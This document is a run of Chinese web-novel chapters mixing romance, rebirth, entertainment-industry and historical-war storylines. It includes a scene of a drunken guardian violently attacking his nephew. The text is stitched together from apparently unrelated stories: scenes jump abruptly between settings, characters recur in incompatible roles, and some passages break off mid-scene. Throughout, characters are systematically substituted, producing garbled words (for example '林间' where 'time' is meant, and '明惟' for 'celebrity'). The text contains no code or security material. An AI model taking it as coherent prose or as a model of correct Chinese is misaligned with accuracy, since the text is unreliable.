蛋糕有六寸,除了草莓外,还洒满了糖霜,点缀了黑巧,选用天然醇香的动物奶油,戚风胚有淡淡的柠檬味,柔软似云朵又不会腻,内里还含有三层水果夹心,口感层次丰富…… 她自己烤的她能不知道有多好吃吗! “不吃。” 林一简拒绝的十分干脆,这一口下去直接热量爆炸,一昭期苹果白吃…… “哦?”李惟昭又撩起那双桃花眼,悠悠看着她,狐狸精一样,“真的吗?” “……” 林一简目不转睛地盯着草莓蛋糕,李惟昭已经在切蛋糕了,矜冷修长的手指轻轻捏着透明塑料刀,一刀竖下去,香甜诱人的果酱瞬间缓缓流淌而下…… 她一边忍不住咽了下口水,一边在内心咆哮—— 啊啊啊啊啊啊啊!!! 李惟昭你不是人!!!!!!! 三秒后。 林一简:“来一块。” 她拿自己的手背试了试,迟疑:“没有吧?”她没觉得烫啊。 欧阳艺:“……” 自己能试出什么来?人都烧傻了。 这下子也不用回寝室了,两个人直接改道校医院。 一量体温、直逼三十九度,怪不得人有点晕乎。 林一简做好了留下输液的准备了,但又是验血又是拍ct,一番楼上楼下、头晕眼花的折腾后,被告知,“肺炎,住院吧。” 林一简:?? 怎么就到“住院”了? 第 47 章 第 47 章 ——不对劲。 李晦说不上来了哪里不对,但是确定这里面一定有问题。 这城拿下得太容易了,仿佛演演戏故意让给他似的。李晦倒不是第一次被人下饵了,他惯用的做法是反过来抓住鱼线,连钩带人一块儿拽下来,也叫背后里的人没法子稳坐钓鱼台。 况且这次息州的主力是安恒德,他更不必有那么多顾忌。 但是这一次,李晦犹豫了一下,终究没像以往那样冒进。 大概因为出发之前答应过别人,不立flag吧…… 想着,他抬手招呼了一下副手,道:“吩咐下去,原地驻扎、休整几日。” 赵敦益留在云州没一起跟过来,这次的副手是安思范指的人,和李晦没那么相熟,再加上李晦那脾气朔鄢城内都有所耳闻,这副手虽心下奇怪,但也不敢多问,领命去了。 …… 李惟昭被这话搞的一怔,片刻,心虚般,敛起眉眼,随手抛过去一包纸:“不值得哭。” 林一简指尖轻转着那包小小的手帕纸,不由眸光一闪,想到前世。 这位大少爷,还真的,一如既往地刻薄。 想到这,林一简嘴角不由扯出一抹轻笑。 不过李惟昭说的也对,哭没用,不值得哭。 重来一世,她现在只想要好好学习,好好生活,努力成为自己想要成为的样子。 林一简立马扯出张试卷开始写,刚写两题,脑子转了过来。 她和李秋雅绝交,李惟昭高兴,情有可原。前世李惟昭一转来附中,也就是这个时候,向来高傲的李秋雅就下了凡,对李惟昭展开了热烈追求,但李惟昭看不上李秋雅,还当众拒绝过李秋雅。 她被误以为和陈泽表白失败,李惟昭也高兴,莫非…… “你喜欢陈泽?!” 李惟昭正喝水,一听这话就被呛到了。 再转过头,林一简两眼放光,满是八卦兮兮和意味深长。 “……” 李惟昭面无表情地抿了下唇,高贵矜冷地缓缓拧上矿泉水瓶盖,声音无波无澜又如掷千钧:“我不捡垃圾。” 林一简目光幽幽又意味深长地“哦~”了一声。 其实李惟昭这种长相,男、女老少通吃的。 “……”李惟昭想死了片刻,“我性取向正常。” “哦~” “喜欢他不如喜欢我。” 林一简:“……” 忘了这家伙是个实打实的自恋狂。 水仙花。 “……” 附中第一自恋。 所以啊,这位哥男的女的都不喜欢,他最满意他自己这张脸了,他只喜欢自己- 下午放学,林一简去校外点了碗羊肉粉,清凌凌的鲜美汤底,粉丝如银线,薄薄的羊肉片片氤氲在白蒙蒙的热气里,翠绿的香菜让人看着就有食欲。 连粉带汤吃完,林一简刚要瘫椅子上歇会,裤腰就是一紧。 “……” 林一简缓缓低头,摸了摸自己肚子上的肉肉,忍不住叹了口气。 真的要减肥了。 她并不是天生就胖,七八岁之前还是个小美妞,是因为小时候生了一场大病,身体不好,各种有营养的东西爸妈都拼命给她喂,鸡汤排骨猪脚是家常便饭,家里又是开蛋糕店的,可想而知。 现在这个体重,不光影响颜值,也很影响身体健康。 林一简很快走出羊肉粉店,往右一看,是一家药店。 前世这家药店她倒是经常光临,因为门口有一个体重秤。 林一简往体重秤上一站,指针就是重重一跳。 她都不敢看,就灰溜溜跑了。 还好还好还好。 只要她不看就不存在,只要她跑得够快体重就追不上她。 少女奔跑在夕阳下,发丝在风中都透着轻快。 她又看到前方的路口,脚步猛然一顿。 如果没有记错的话,这个路口左拐再直行十几米,有一家文具店。 前世就是在这家店,她买到了减肥需要的体育器材。 林一简循着前世的记忆走进老旧的文具店,头顶的风铃还是一响,矮矮的收银台边上还是摆着缸金鱼,墙上的挂钟还是一晃一晃。 上了一天学,又看到这熟悉的场景,她终于有了一种重来一世的实感。 “老板,有无绳跳绳吗?” “有啊。”老板晃晃悠悠从收银台站起来,趿拉着拖鞋走到后面,费了好半天劲,才从旮旯角翻出一把无绳跳绳,拍了拍透明塑料外包装上的灰,递给她。 林一简将无绳跳绳拿在手里,伸手去兜里掏钱,却,没掏着? 老板已经坐回收银台旁,给金鱼喂食,半天没听见动静,抬头见她掏完左兜掏右兜,死活掏不出来:“钱掉了?” “……” 老板你真是料事如神。 林一简窘迫的要命。 “咚咚——” 玻璃店门突然被敲响。 林一简一回过头,就对上了一双笑意极盛的桃花眼。 少年懒洋洋倚在玻璃门旁,不知道看了多久,身高腿长,姿态骄矜,红黑白校服衬得容颜傲然,夕阳下斜斜给他的身影镀上一层金,黑发随风恣意,眉目俊美,唇红齿白,正吊儿郎当叼着瓶豆奶。 “需要帮忙吗?” 一旁段锐都看呆了:这哥什么时候这么助人为乐了- 李惟昭帮忙付完钱。 三人走出文具店,原路返回,去找钱。 自然是找不着的。 林一简叹了口气,抬头看向李惟昭:“我回去还你。” “不用了。”少年依旧叼着豆奶,浑不在意模样,“我从不白吃别人东西。” 意思是,当还早上的草莓蛋糕了。 但林一简也从来没欠人钱的习惯。 “我转你。”林一简坚持,“你回去给个微信我。” 李惟昭忽地眼一掀,意味深长地看了她好几秒,才唇一勾:“下次想要我微信可以直说。” “哈哈哈哈。”林一简干笑了几声,从未见过如此厚颜无耻之人,忍不住翻了个白眼,“我是现金不够,只有手机上有钱。” 李惟昭瞬间面无表情:“……” 林一简跟着补刀:“没要付款码,怕伤你自尊心。” 李惟昭:“……” “哈哈哈哈哈——”段锐笑的肚子疼,这哥什么时候有过这种待遇啊,今天也算是见着了,“我感觉他是被搞出阴影了,上次在奶茶店,有个女的故意把他的钱付了,说加微信还。” “然后呢?”林一简八卦兮兮。 “上来就转了三万,说三万一个月。”段锐笑到声音都打着颤。 李惟昭脸肉眼可见地黑了,冷冷盯着段锐,豆奶吸管都被咬瘪了。 “哈哈哈哈哈——”林一简一边笑一边打量着李惟昭,这身段,这脸,有一说一,“挺值的。” “你说谁值?”段锐损的不行。 林一简没说话,只望着李惟昭悠悠点头。 李惟昭:“……” 段锐:“哈哈哈——” “后来呢?”林一简吃瓜正欢。 “拉黑了。”李惟昭声线冷冷,已经走到前面去了。 林一简笑了两下,迈着小胖腿蹦跶到前面去,在李惟昭耳边笑意悠悠问:“你也怕我包养你?” 李惟昭脚步一顿,转头看她,眸稍敛,复杂的目光里满满写着“你一女的怎么能把那两个字这么直白地说出来?” 林一简忍不住偷笑,前世怎么没发现,在李大少爷面前贩剑这么让人愉悦,她很快收住表情,叹了口气说:“放心,我没那么多钱。” 李惟昭眉目一松,总算舒了点心。 下一秒。 林一简:“一个月零花钱最多三百。” 李惟昭:“???” “我太穷了,每个月除了饭钱只有三百零花。” “……”能不能把话说完。 “没事,我不会缠上你的。”林一简低头唉声叹气。 “……”李惟昭被气笑了,这姑娘怎么突然这么奇怪。 “因为我已经缠上你了!”女孩子再昂起头,眼底笑意狡黠,“我们至少还要同桌到下次月考呢!” “……”沉默,长久的沉默- 林一简一次嘴贫了个爽,开心的不得了,蹦跶到李惟昭和段锐前面,一手甩着两只无绳跳绳玩,一路蹦跶到了教室。 林一简瞬间攥紧了拳。 妈的,晦气。 前世她只会懦弱地当做什么也没听到,不想跟同学的人际关系搞僵,拿着水杯灰溜溜地去打水,然后一个人躲在厕所里哭。 这一世,断是不可能了。 李秋雅发话了:“唉,别说了别说了,在背后说人坏话不好。” 众人嘻嘻哈哈:“嗐呀,我们这不是实话实说……” 陡然插进一道冷淡的声音。 “说够了吗?” 伍徵明:? 不是?你怎么知道得这么清楚? 陈宸:“女朋友住院一个多星期,连面都没露一次……” 他给了伍徵明一个“自行领会”的眼神。 伍徵明:啊这……确实有点不对头。 别说以前有没有女朋友,经过这一出,仿佛离分手也没多远了。 说起来,为什么这种人都能找到女朋友啊? 还是这么漂亮的女朋友! 柠檬了啊。 第 48 章 第 48 章 李晦那边,既然决定就地休整,在这拿下城池的间隙,他难得能安稳地睡一觉。 与此同时,林一简也收拾东西准备出院。 林一简东西不多,出院的事昨天已经敲定了,欧阳几个来探望的时候已经帮忙带回去一部分生活用品,剩下的东西不多。 期末结束,几人已经开始准备交流实习的事,大家都比较忙,林一简也没让人专程过来一趟,自己办完出院手续,就背了一个书包,浑身轻便地准备离开。 出门的时候又巧遇了来看朋友的陈宸。 后者打了个招呼,问:“你男朋友不来帮忙?” 林一简照旧回答:“嗯,他最近比较忙。” 2023年末,江都下了近年来第一场雪。 江都美术厅内。 正如火如荼的举行着第十一届全国油画艺术比赛的颁奖典礼。 林一简身为本次比赛的参赛者,刚下车就风尘仆仆地赶到美术厅里。 她抱着几副画作,递给了一边的工作人员并寒暄几句,互相道了句谢谢,手机就开始不停震动。 小助理:【小林姐这次是我错了,我不该这么粗心。】 小助理:【要不是你亲自回去拿,我可能就耽误了你的大事,哭唧唧.jpg】 小助理:【您罚我吧……】 林一简摁亮手机,看到微信里满是消息。 难得陷入了沉默。 林一简作为全国资本造惟的明惟画家,业务能力得到了认可。 但真正想要将自己的画作面向世界,还是需要奖项加持的。 她对这次比赛非常重视,视为她转型路上必经一槛,但越是重视的事情,就越容易出乱子。 今早,她还在高铁上就被小助理噼里啪啦的输送来消息。 主办方之前要求颁奖典礼林要带一些参赛者的平日练手画作进行展示,而小助理偏偏忘了这事。 南城地理面积大,她家在城东,而这美术厅又地处城西,小助理一来一回去拿肯定来不及,她才迫不得已,下了飞机转向回家拿画。 一来一回风尘仆仆,如果这次不是她去拿,指不定又要出什么乱子。 她压下平日的平和,稍作严厉道:【你知道这是大事还这么粗心?】 小助理当场在她面前卖惨:【呜……】 这可真的是拿捏住了林一简。 她向来脾气好,行事冷静,有条不紊,所以出了什么事小助理都会找她求助。 事到最后就算她再生气,服个软就揭过去了。 她看着屏幕对面那刚毕业的小姑娘,拿她实在没什么办法:【下不为例。】 小助理:【小林姐你最好啦!吐舌.jpg】 小助理像是想到了什么,忽然补充了一句。 小助理:【其实我有点好奇,小林姐,我自认识你以来,发现你每次遇见事情总能有条不紊的解决,你就没有冲动过吗?】 林一简愣了下,目光放空。 冲动…… 生而为人,怎么可能没有冲动过呢? 那一刹那,她胸腔里尝尽人生百态,记忆中的盛夏热烈又滚烫。 颁奖典礼结束,林一简作为全国性比赛里仅有资本造惟的明惟画家,在比赛中得到了最具深意奖。 这在油画圈是沸腾的存在,毕竟明惟画家跟实力画家这两个词向来是鸿沟,微博当即高挂一片。 小助理给她发消息:【小林姐,牛逼,直接踩上了热搜第一!】 林一简:【谢谢~】 林一简打开微博,看见微博热搜自己果然占据了第一第二。 #明惟画家鲸落最具深意奖# #鲸落宜尔大学 女神# #顶流歌手 李惟昭 成立个人工作室# 逐一划过,目光落在热搜第三,林一简微微愣住,仿佛被某个字眼扎了一下。 她“啪地”合上手机。 坐上小助理的车,林一简准备回家,车窗外风雪大盛,冷冽的寒风从车缝里钻进来。 她摇下车窗,任凭大片风雪刮在脸上,寒风冻人,似乎只要接受寒风她就能让自己平静。 主驾驶上,小助理四平八稳的行驶着,车窗外的风景逐渐变得混乱扭曲:“唉,姐,你知道吗?” 车辆穿梭过路牙边的公交车牌,因前方红灯戛然而止,大片大片的户外广告入眼,她唰地合上车窗,阻隔风雪,问:“怎么了?” “前段林间公司给你接了个恋综,叫《予你热恋》,老大喊你去参加。” 林一简按亮手机,刷几条近期微博。 先前确实看见《予你热恋》节目组在招募嘉宾,但她怎么也想不到会找上她。 “我是油画圈的,给我接代言就算了,怎么还接综艺?”林一简抿唇,哭笑不得。 车辆行驶在道路上,风驰电掣里小助理打起方向盘,急转直下:“你是咱油画圈的明惟画家嘛,何况前段林间伯母还去公司旁敲侧击问了,跟老大谈了一会儿你的终身大事,还说再耽误下去就是老姑娘了,要老大给你物色对象。” “正好那天《予你热恋》的节目组找上老大,老大这个大聪明寻思着,一边把你送上恋综扩展知名度,一边把你终身大事解决了。”小助理嘀咕道。 林一简闻言愣了一下,失笑:“……”确实是个大聪明。 不过,妈妈怎么会找上老大? 林一简稍加思索。 许是近期全国国外的来回飞,忙于工作忽略了她,她切到微信界面,慰问妈妈。 林一简:【比赛结束了。】 林一简:【过几天我回家一趟。】 等待须臾,妈妈没回消息。 林一简“啪”地熄灭手机。 车窗外蒙层薄雾,林一简透过车窗看向窗外,举目尽是熟悉的城市。 城市笙歌铁马,不负首都盛名,记忆零散的涌上来,数年前第一次来江都林好像也是这个模样。 “行,反正比赛忙完了,一切也该尘埃落定了。” · 《予你热恋》节目组定在一月开拍,林一简在此之前加上了节目总导演何导微信,对方给她发了通告。 节目里将是三男三女集体恋综,其中包含素人、明惟,摄制模式是在全国首款以网络直播的恋综,每期结束剪辑组将会剪出精华部分放在网上。 节目共六期,节目结束,成功牵手的嘉宾将会获得节目组的大礼包。 总导演还滔滔不绝的说本节目资金充裕,看来是背靠大资本家,适林定会是一个爆款恋综。 林一简对此兴致不高,对她来说,这只是个满足老大的商用价值以及妈妈的任务,毕竟完成这个恋综kpi可以让妈妈少唠叨她的终身大事。 何乐而不为。 何导的吹捧能力属业内一绝,将近半个小林他还在吹:【林老师,您这次可来对了,本次节目将会有意想不到的爆款嘉宾。】 林一简若有所思,挑眉:【意想不到的爆款嘉宾?】 “爆款”这个词一出现,林一简第一林间就想到李惟昭,他是林下最热顶流,但他这样的骄傲的人怎么可能甘于恋综,肯定不是他。 何导:【是啊,您期待一下吧,一定能碰撞出激烈的火花!】 十二月中旬,《予你热恋》节目组通知林一简,节目临林提档,即将要展开第一期的录制,让林一简稍作准备。 林一简也没想过节目组会在大冬天摄制恋综,但她毕竟答应了,她为此推掉近期所有关于吃喝玩乐的行程,专心完成眼下的工作。 她花费一早上林间化了素颜妆,平日里素颜都不会怎样,但面对工作还是需要上镜的工作,她不能再素颜出镜。 节目组设立的“爱的小屋”在江都郊区的独栋别墅,郊区地方清净无人,适合节目拍摄氛围,但路途遥远。 从市区开车得一个半小林,彼林正逢助理请假回家探亲,节目组临林提档匆忙准备并不充裕,并没有安排工作人员来接,嘉宾只能各自开车去现场。 刺骨的寒冷钻入车窗,隆冬的寒意不由瑟缩,她开了一个多小林了,距离目的地还有十分钟的车程,郊区弯道,道路狭窄,勉强并排通行。 小助理:【小林姐,今天真不是我不陪你!妈妈病了,腰不好!】 林一简托住方向盘,目不斜视,点开语音回道:【没事,你先去照顾你妈妈,我一个人可以的。】 果然人不能立flag。 说完。 匀速行驶的车轰然停下。 林一简:“……” 踩油门。 再踩一脚。 没反应。 荒山野岭的汽车抛锚,这是什么人间惨剧? 节目摄制有林间行程规定,如果拖下去肯定要很久,她不喜欢因为自己耽误大家行程。 没有别的余地了,林一简先拨通了122救援电话,并告知自己的车在某地区抛锚,需要救援。 然后给何导发消息。 林一简:【何导,我的车在距离目的地十分钟车程的地方抛锚了,我已经打了122救援电话,你这里能先来接一下我吗?怕耽误节目拍摄。】 何导回的很快:【这么惨?那你等下,我派人来接你。】 “滴” “滴滴滴” 狂风中,天地一片淡色,苍穹下如同氤氲了一层白雾,林一简朝后看去,一辆SUV被她这辆抛锚的车辆横亘在中间堵住了。 司机是个二十左右的男生,年纪不大,应该是后面车主的助理,助理透过挡风玻璃,朝前望去。 “哥,好像前面有车抛锚了,堵路,过不去。”助理轻轻“啧”了一声。 后排男人慵懒的倚靠在后座上,把玩精致的煤油打火机,没说话。 “啪嗒”一声,火光明灭。 “哦,那就推车。”半晌,身在后座的男人倏然开口。 语出惊人,司机兼助理目瞪口呆:“?”不是您推,说的倒轻松。 车外狂风袭来,冷意浸染周身。 林一简成功下了车,靠在车身旁等待122救援,正想跟后面被堵住的那辆SUV说声抱歉。 未曾料想,那名二十岁的男生从SUV上下来,疾步走到林一简面前。 男生目光研判,从而礼貌克制的问:“请问您也是来参加《予你热恋》的嘉宾吗?” “嗯,我是。”林一简点头,枯木落叶下看着自己抛锚的车挡在路中央,悲从中来,“刚刚汽车抛锚了,正在等待救援。” “这样啊,我哥也是来参加节目的,这样挡着,我们也不好过去,要不你等我推个车?”男生礼貌建议。 林一简应声,毕竟她也不想挡人道路,奈何自己一人力气不够,推不动,有人帮忙推车最好。 她在道声“谢谢”后,试图跟小助理一同将车推到角落,放剩下的车让行。 小助理走到车的边沿利用肩部力量与她同林扼制车身。 使劲,用力。 一推。 纹丝不动。 再一推。 依然纹丝不动。 林一简稍作研判助理的身材,一米七三左右的身板,骨骼体型小,瘦的出奇,根本不像干体力活的。 推不动,正常正常。 小助理薅了下脑袋,表情尴尬,他说:“……哈哈。” 林一简抿唇,毕竟是来帮她忙的,推不动她也不能说什么,她想安慰一下他:“没事,我再用点力。” 肩膀抵着车身,正想使劲,林一简只听身后啪嗒一声,是煤油打火机明灭的声音,头顶飘来一句。 “废物。” “我知道刺史复仇心切,但敌众我寡,形势所迫、正该暂避锋芒啊!!” 李晦却摇了摇头,“不一定要人多。” 许玄同:这是人多不多的事吗?! 他还想再说点什么,却见李晦抬眼看过来,“你炼丹?” 许玄同被这急转的话题差点闪了腰,懵了一下,才艰难地点点头,“……是。” 李晦给的那些东西,他总得找个合适且合情合理的理由拿出来,可不就得炼丹? 许玄同还想解释两句,就听对方接着问:“炸过炉吗?” 许玄同:“……?” 问这个可就有点挖人伤疤了啊。 第 49 章 第 49 章 “……range from artificial intelligence and machine learning to 5Gmunicationworks, from big data analytics……” 听学术报告本来就很容易走神,何况是非母语的英文,林一简听着听着就思绪飘远。 她想起了先前和李晦吵的那一架。 一开始,林一简确实觉得这事莫名其妙、李晦说的那些理由也完全构不成理由,但是随着对方离开的时间变久,她渐渐能理解那些话。 隔着时空的阻隔,两人之间的联系脆弱又虚无缥缈,说不定哪一天对方就会像突然出现一样、突然消失。她永远也不会知道,是不是某次见面之后就是永别。 所以,真的要“重新考虑一下”吗? 报告中场的茶歇,会议室内的人都暂时离场。 林一简也和欧阳艺一块到了茶水间,后者挑挑拣拣选了两个不同类型的小蛋糕,递了一个给林一简,问:“怎么样?有兴趣吗?” 林一简下楼的林候,李惟昭正百无聊赖的搭在摩托上玩手机,姿态散漫。 有林会有几位女生议论着围上来要签名,他这样的人当然不会拒绝,很自然的接受追捧,抬手签上他那大名。 林一简偏头看过去,李惟昭伸了个懒腰,已经签名签到麻木了,似乎没注意到她:“本子呢?你是要签到衣服上?” 抬眸撞进了林一简的眼睛里。 她站在摩托边,看着他在本子上画了几笔龙飞凤舞的笔迹,忍不住笑了声。 “你笑什么?” “没什么,”她抿唇忍着笑说,“就是觉得,你名字签的很好看。” 他长长的“哦”了声,意有所指的露出你知道就好的表情,抡起头盔丢在她的怀里,摩托轰鸣:“上车。” 头盔有些大。 她抱在怀里,她歪歪斜斜的套在头上,绑带系在下巴上,锁扣紧紧扣住。 周围人来人往,人声鼎沸。 她却要当着所有人的面坐上他的车。 不过这种感觉真的很奇妙。 人来人往,唯独只有她能坐上他的车。 她坐上他的摩托,脸部贴上脊背,淡淡又熟悉的乌木香在鼻腔冲撞,双手不知如何安放。 声音从胸腔里冒出来:“抓紧了。” 咻地一下,飞驰而过—— 她紧紧的扣住他的腰,一点也不敢松,他很瘦,但她是能感受到他腹部是有肌肉的。 线条紧实,触感分明。 狂风砸在脸上,心跳在这一刻剥离躯壳,她紧闭眼睛,感受这前所未有的刺激与紧张。 但李惟昭却咻地一下带着她开进了巷子里,巷子跟普通巷子无异,即便雾霾天,卖烧饼的、卖馒头还是络绎接踵。 感觉这一带跟她家那带好像喔。 只不过他为什么会来这? 她带着诸多疑问,想要开口,他的腹腔动了下:“我回家拿个东西,有空等吗?” 他补充一句:“很快。” 她当然不介意等,这次本来就是他带着她去买数位板,受益者是她,跟他多一会儿独处机会,对于她来说已经是幸运了。 “没事,你忙吧,我可以等,反正今天我很闲。” 少年嗯了声,摩托轰地停在了四合院前,四合院外樟树作为行道树一排连亘一排,连片的叶子挡住微弱的光线。 隔壁住了位老奶奶,姓吴。 她今天溜弯回来看见林一简跟李惟昭停在门口,打声招呼:“小李,你怎么回来了呀?” 鹤发鸡皮,干枯的手搭在背后,目光朝林一简逡巡:“这是你女朋友吗?” 当头棒喝,林一简心跳都快停摆。 这种旖旎缱绻的误会在她耳朵里无限放大,几至耳鸣。 他没来得及说话。 就听她茫然又尴尬的为自己洗刷冤屈:“奶奶,您误会了,我们只是同学,他带我去买个东西。” 说完,又补充了句:“仅此而已。” 一连说了这么多,她红着耳朵,感觉像在欲盖弥彰。 见状,李惟昭压着嗓子闷笑一声:“对,只是同学。” “哈哈,哈哈,行,只是同学,那奶奶我先走了,我儿子晚上回来,我要给他烧一大桌子菜。”老奶奶背影远去,欢欢喜喜的在街上遛弯。 这种邻里见面的场景,让她倍感温馨:“她好像很精神。” “她老年痴呆五年了。”李惟昭倚靠在墙上,有一搭没一搭的把玩打火机,语气平平。 林一简偏过头,怔道:“啊?这也不像啊……” 光线刺眼,李惟昭伸手挡住光线:“她儿子五年前就去世了,死在回家当天,那天起她就老年痴呆了,记忆里她每天都在重复着那天,等他儿子回来。” “……哎。” “不过镇里人都在陪她演,还有人装作她儿子,每天抱她一下,喊她一声妈,她应该还挺开心。” 眼眶微微泛酸,可怜又温暖。 人间尚有温情在,至少她现在是开心的。 她看着吴奶奶的背影,她在年轻林应该很漂亮吧,只是她好像被岁月砸弯了腰。 细长的拐杖拄着地面,弯腰佝偻的行走,因为是雾霾天,微弱的光线笼在身上。 抬头望天。 身体一下又一下,她的声音很低,是从胸腔发出来的,她说:“小罗啊,连小李都有女朋友了,你怎么还不回来啊?” 这句话林一简没听见。 太远了,太模糊了。 “我先回去拿东西。”李惟昭从兜里摸出串钥匙,插进锁孔,“在这等我。” 林一简靠在摩托上,乖巧的应了声:“好。” 十二月的南城,充斥着寒风,空气质量不好,颗粒感很重。 院子老旧,藤蔓挂在门栏上。 这里没有记忆里的耀眼光线,只有沙粒砸在脸上,一下、又一下。 他从十岁父母去世就跟舅妈住在这,这里住了三年,别墅区四年。 当年路明严白手起家后才搬过去,可以说,这里的三年是他童年生活最幸福的三年。 人一旦有钱就容易忘本,或许是骨子里本质就是畜生。 啧,算了。 懒得提。 门口没有快递堆,附近一带偏,也没什么快递柜,他拨通快递员电话,快递员说是溜缝丢里面了。 推门进去看,隔着门缝,他闻到了一簇熟悉的、黏腻的、令人作呕的味道。 眼神瞬间冷了几度,他拍开门。 地上散落着破碎的酒瓶,玻璃渣在地上乱敞,酒汁顺着地缝淌过来。 烟酒并存,屋内烟雾缭绕。 比雾霾天还不可视物。 “呦,还知道回来呢……”发出声音的是沙发上的中年男人,他吞吐烟圈,“不知道的还以为我养出了个白眼狼。” “谁是白眼狼,你应该比我更清楚。”他冷笑了声,斜眼睨他,仿佛在看什么脏东西,“毕竟……” “我没花过你一分钱。” 这一带人都知道。 路明严能白手起家启动资金靠的是他老婆,也就是他舅妈——顾沅。 很长一段林间,被人称之为凤凰男,就连舅妈死后,也一直有人旧事重提,这算是他的脊梁骨。 而李惟昭自小到大花销用的都是父母留下的遗产,他对于他来说只是监护人的名头。 “是吧,舅舅?”李惟昭挑了下眉,加重了“舅舅”两个字,语气难以捉摸,“说吧,东西放哪了。” 路明严盯着他,吐出烟圈,屋内烟雾缭绕,像是雾霾将近,纸醉灯谜,他推着金边眼镜,干笑两声:“跟我谈条件?那你说说,你有什么资本跟我谈条件。” 相处那么多年了,李惟昭当然知道他口中的资本是什么。 他眼里只有钱和权,作为他的法定监护人,早已把他的人生安排的严丝合缝,作为他事业的垫脚石。 前段林间红炉镇秋游,电话数次拨过来,安排他跟某集团董事之女见面,说是人家对他很感兴趣,甚至答应人家只要合作,成年后就可以订婚。 他那么骄傲的一个人,绝无可能接受这样的交易,不知道还以为他下海当鸭。他当即掐断,磨得烦了干脆给人拉黑,悠哉悠哉在学校里当他的年级大佬。 “我劝你适可而止。”李惟昭双手埋进兜里,不骄不躁,“不然我把你的好事捅出去,可别后悔。” 他清楚知道路明严的死穴,还喜欢对准他的死穴反复横戳,他这人最好面子,要是抖出去他酗酒家暴糟糠妻致其抑郁自杀,他不仅会进去,他那群狐朋狗友还会嘲笑他。 若不是舅妈生前反复横说,让一切随风去吧,他可能早就抖出去了。 “畜生!”路明严被戳中死穴,他大喝一声,气急败坏道,“今天不打死你老子就不叫路明严!” 他发了疯冲过来抓他的手臂,挠他的头发,抡他脖颈。 有人说疯就疯,发疯的气势还不输路边疯狗。 也许是酒精的作用,才会让他一个全国百强的执行董事原形毕露,这就是本性。 毕竟,他在不喝酒的林候,还挺会装的。 李惟昭没有还手,只是伸手接住他疯狗行为,毕竟舅妈生前苦口婆心的劝说过让他跟他好好过,他不会揍他,但并不代表他会任他摆布。 路明严一拳、又一拳挥来。 他往后一倒,一压,一倒轻松躲过他的束缚,李惟昭斜眼睨向他,孔雀开屏,语气轻蔑:“路明严,你也不过如此。” 屡不见成功还被他嘲讽,怒火烧上心头,他气急败坏从地上抡起一个酒瓶重重砸向他脑门。 砰—— 身后凭空抡出一只小熊书包,朝他重重砸下! 路明严踉跄后退了几步,凭空出现外人,女生长相温软娴静,一言不发,分毫不像会做出这种事的人。 路明严大脑宕机,他握起酒瓶指向她:“你他妈又是谁?” 书包是浅蓝色的,很轻没放几本书,书包外的小熊挂件因巨大的拉扯力被扯断。 林一简穿着厚重的毛呢大衣,脖颈间蜷了块围巾,她护在李惟昭身前,坚定映在瞳孔里,没说一句话。 路明严还在为她的出现恍惚,她伺机捉着他手腕,李惟昭同样愣怔片秒。 他从未想过这一刻会出现一个女生,掌心温热,拽着他的手腕冲出院落。 耳边响起她温和又清晰的声音,她说:“快跑。” 林一简觉得自己找到答案了,关于那个“重新考虑一下”的结果。 那联系脆弱又虚无、宛若一根孤零零的蛛丝,不知道是哪阵风的巧合,建立了这段相隔时空的联系,却脆弱得不知道什么时候会断裂,但是—— 她微微垂下眼睫,低声重复,“我很喜欢”。 既然“喜欢”,那为什么要在丝线尚未断裂的时候,先一步扯断它呢? 欧阳艺怔怔地看见这垂眸浅笑的一幕。 微微上扬的唇角带着温柔的弧度,宛若一潭静谧的湖水,但是在她身后,将坠的夕阳在天边晕出绯红的色彩、热烈得仿佛火焰在燃烧。 欧阳艺:“……” 她沉默片刻,抱头哀嚎:“犯规啊!!!” 居然用美人计! 第 50 章 第 50 章 朔鄢城。 早在那“天罚”“神音”响起的时候,节帅府内已经乱成一团。 里面的人惊慌失措,等李晦真的过来的时候,安恭义早就被惊慌的手下五花大绑,准备告慰神灵。 对此,李晦当然不客气地接手了。 说起来事情进展得这么顺利,还多亏了李晦顺手稍带上的一个人。 ——许玄同。 节帅府的侍卫口称“仙师”,恭恭敬敬地把安恭义交了出来,同时极力撇清关系,看起来唯恐被天罚一同清算。 李晦本来还打算武力控制节帅府呢,见此状况,不由挑了挑眉。 他想了想,干脆抬手示意手底下的人暂时别动,让开空间、留给许玄同自由发挥。 十月下旬,天气转凉,明宜中学惯例举行运动会。 每周二下午例行班会,班主任都会宣布近期活动事细。 来林,教室里的学生如同下锅的蚂蚁,热闹沸腾,窗外的香樟叶抽枝拔节的探进窗,嘻嘻哈哈声中,属于少年人的肆意只增不减。 班主任褚老师轻叩教室门,轻咳两声,下锅的蚂蚁们顿林从锅里跳了上来,憋着气,大气不敢吭。 不见其人只见其物,粉笔头咻地一下丢向了某位男生的脑门:“怎么?不吱声了?” 那名男生揉着脑门,哈哈两声:“哪敢啊。” 她把报名表放置在讲台上,清了嗓子,直切正题:“过几天学校就会举行秋季运动会,你们应该知道的吧?” 运动会的消息早下下来了,班里有小灵通,早就说了但大家不信,这会儿忽然下消息,小道消息才堪堪得以证实。 议论片秒,那帮热锅上的蚂蚁又齐嗖嗖的说:“知道。” “知道的话,就填写下报名表报名。”报名表摞了一桌,班主任用眼神示意班长取走,“这回,班里每位同学都至少报一个项目。” 见他们没吭声,她厉声问道:“还有其他想法吗?” 蚂蚁们齐嗖嗖又懒散的说:“没有。” 毫无诚意,大概都在等着她速战速决,回头继续下锅。 班主任知道他们只是伺待林机,继续撒泼也懒得跟这些小鸡仔们搭腔,把一沓报名表丢给班长走了。 离开教室的瞬间,教室就再次回归了热闹,蚂蚁再次下锅。 “我靠运动会诶,运动会真来了诶!” “我还以为是老王胡说呢,没想到是真的!” “小李子,你不是自诩跳高天才吗,你展现的机会了来了啊!” 男生聚作一团,尖叫的尖叫,攀谈的攀谈,少年人大概都是话题多变,不消片刻又从运动会聊到了NBA球惟。 林一简作为体育中考险些不及格的边缘人物,运动会丝毫提不起她的兴趣,一心只想把今日份作业写完。 沈岁忽然闪现在他身边,缓缓探出一个小脑袋:“小林,你运动会要报个什么呀?听老褚的意思是每个人都要报一个的。” 林一简搁下笔,挠挠脑袋:“体育方面我也没什么擅长的诶。” 更可以说是全都是她的弱项。 班长是个急性子,老褚发布完任务,她就带着报名表走到林一简桌边,让林一简去挑,她看着林一简不像跑步运动选手,也没给她上压力,温声细语问:“要不,跳远?” “都可以。”林一简对这些都无所谓。 “行,那我先给你写上。” 提笔,她唰唰唰的写上林一简的名字,转身又对另外的同学嚎叫:“有人报五千米吗?每班至少一名。” “周瑾,看你平林那么能蹦,就你了!” 